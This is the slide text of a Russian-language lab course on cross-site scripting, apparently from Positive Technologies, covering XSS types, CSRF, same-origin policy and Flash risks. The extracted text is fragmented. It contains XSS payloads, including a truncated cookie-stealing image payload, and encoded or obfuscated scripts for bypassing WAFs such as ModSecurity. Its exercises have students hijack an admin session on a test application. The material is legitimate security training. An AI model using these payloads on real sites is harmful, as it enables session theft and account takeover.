Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies
План лабораторной работы Введение в тему безопасности Web-приложений Уязвимость типа «Межсайтовое выполнение сценариев» Межсайтовое выполнение сценариев в Java/Flash- приложениях Обход фильтров безопасности и Web Application Firewall (WAF) Резюме
Введение в тему безопасности Web-приложений…
Опасный мир Web-приложений По данным компании Positive Technologies за 2009 год 79% сайтов содержат критические уязвимости 58% сайтов содержат уязвимости средней степени риска 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год)
Классификация уязвимостей в web-приложениях Web Application Security Consortium WASC-TCv2 / OWASP Top 10 CWE/SANS Top 25 Most Dangerous Programming Errors 2010 Threat Classification References Mapping Proposal eferences%20Mapping%20Proposal
Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» Опасный мир Web-приложений: статистика за 2009 г.
Часть 1: Межсайтовое выполнение сценариев Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting, XSS)
Cross-Site Scripting – Базовые знания "Межсайтовое выполнение сценариев" Уязвимость Cross-Site Scripting (XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.
"Межсайтовое выполнение сценариев" может использоваться для: Подмены содержимого сайта (content spoofing, fishing) Получения доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie) Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc.) Распространения вредоносного кода (ajax-worms) Cross-Site Scripting – Базовые знания
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер alert('XSS')... alert('XSS') ">...
Cross-Site Scripting – Базовые знания Условно Cross-Site Scripting (XSS) делят на следующие типы: Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting обычно можно встретить: В HTML-теге В теле JavaScript/VBScript/etc (eq DOM-based) В коде-HTML В параметре тега-HTML В Java/Flash приложениях В ActiveX … Cross-Site Scripting – это уязвимость на стороне клиента (client side) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension
Cross-Site Scripting – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id="> alert(1) HTML-код возвращаемой страницы примет вид В параметре тега … alert(1) "… В тексте … "> alert(1) … В результате браузер выполнит JavaScript-код Пример практического использования: ">
Cross-Site Scripting – Классическая эксплуатация Пример (1) – по событию Уязвимый HTML-код: … … Эксплуатация: /?filename="onerror=alert('XSS');" /?filename="onerror=javascript:alert('XSS');" … HTML-код возвращаемой страницы примет вид: … … Пример практического использования: /?filename="onerror="xss=new/**/Image().src='
Cross-Site Scripting – Различия браузеров
Cross-Site Scripting – Классическая эксплуатация Пример (2) – DOM-based Уязвимый код:... document.write(" "+document.location.href.substring (document.location.href.indexOf("default=")+8)+" "); document.write(" English ");... Штатная работа сценария: /?default=Russia /?default=French … Эксплуатация: /?default= alert(document.cookie)
Cross-Site Scripting – Безопасность Cookie Атрибуты Cookie Set-Cookie: = [; = ] [; expires= ][; domain= ] [; path= ][; secure][; HTTPOnly]
Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки: 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 6. Работа с Web-приложением от имени атакованного пользователя
Практическое занятие (1) Найти уязвимость типа «Межсайтовое выполнение сценариев». Создать сниффер для записи полезных данных. Осуществить перехват сессии администратора приложения. Авторизоваться под учетной записью администратора приложения.
Часть 2: Межсайтовое выполнение сценариев в Java/Flash Межсайтовое выполнение сценариев в Java/Flash-приложениях
XSS && CSRF – Базовые знания Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF) Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.) Зачастую применяется связка XSS + CSRF
Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов» Интернет-форум 1. Публикация сообщения: Интернет-банк (ibanking) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу: 4. Если сессия пользователя существует, то…
document.domain = "example.com"; (!) Методы обхода - Anti DNS Pinning, уязвимости реализации Ограничения политики доступа (Same origin policy) URL Результат Причины РазрешеноОдинаковый протокол и узел РазрешеноОдинаковый протокол и узел Запрещено Одинаковый протокол и узел, но различающийся порт ЗапрещеноРазличающиеся протоколы ЗапрещеноРазличающиеся узлы Запрещено Различающиеся узлы (необходимы точные соответствия) Запрещено Различающиеся узлы (необходимы точные соответствия)
Для безопасности используются изолированные зоны безопасности (Sandbox security model) Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml» Или вызов соответствующей функции System.security.loadPolicyFile (" Cross-Site Scripting (Java/Flash) – Базовые знания
Потенциально небезопасные функции ActionScript: loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad() Cross-Site Scripting (Java/Flash) – Базовые знания
Пример уязвимого кода на языке JAVA Cross-Site Scripting (Java/Flash) – Базовые знания
Практическое занятие (2) Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться AJAX-сценарием для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев». Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении. Авторизоваться под учетной записью созданного пользователя.
Часть 3: Обход фильтров безопасности и WAF Обход фильтров безопасности и WAF
Что такое WAF Нас атакуют! Ахтунг!!! WAFWebserver Нормализация данных Decode HTML entities (e.g. c, ", ª) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is...
Какие они бывают По режиму работы: Мост/Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты: Основанный на сигнатуре (Signature-based) Основанный на правилах (Rule-based) По реакции на «плохой» запрос: Очистка «опасных» данных Блокировка запроса Блокировка источника атаки
Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации запроса Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
Общие проблемы Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript) Пример:... setTimeout(\"writetitle()\",$_GET[xss])... Эксплуатация: /?xss=500); alert(document.cookie);// DOM-based XSS Пример:... eval($_GET[xss]);... Эксплуатация: /?xss=document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8) Методы обхода WAF – Cross-Site Scripting
Методы обхода WAF: Возможные способы кодирования JavaScript Пример: alert(1) Hex-кодирование (URL-представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28 %31%29%3C%2F%73%63%72%69%70%74%3E HTML-кодирование <script>a ;lert(1)<&#x 2F;script> <script>al&# 101rt(1)</scr ipt> UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- … UTF8, base64, escape-encoding (style), etc
Методы обхода WAF: Возможные способы кодирования JavaScript Пример с BlackHat USA09: ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) 09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;
Методы обхода WAF: Возможные способы кодирования JavaScript
Практика обхода WAF: Cross-Site Scripting Обход правил фильтрации на примере ModSecurity: 1;alert/*skip*/('XSS'); ";document.write(' ');"... BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) 09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Практическое занятие (3) Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться техникой обхода WAF. Осуществить перехват сессии администратора приложения. Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля. Авторизоваться под учетной записью администратора приложения.
Резюме лабораторной работы
Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах Cross-Site Scripting в «живой природе»
Резюме Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)
Дополнительные материалы и ссылки Web Application Security Consortium (WASC) Open Web Application Security Project (OWASP) ha.ckers XSS (Cross Site Scripting) Cheat Sheet Jjencode
Спасибо за внимание!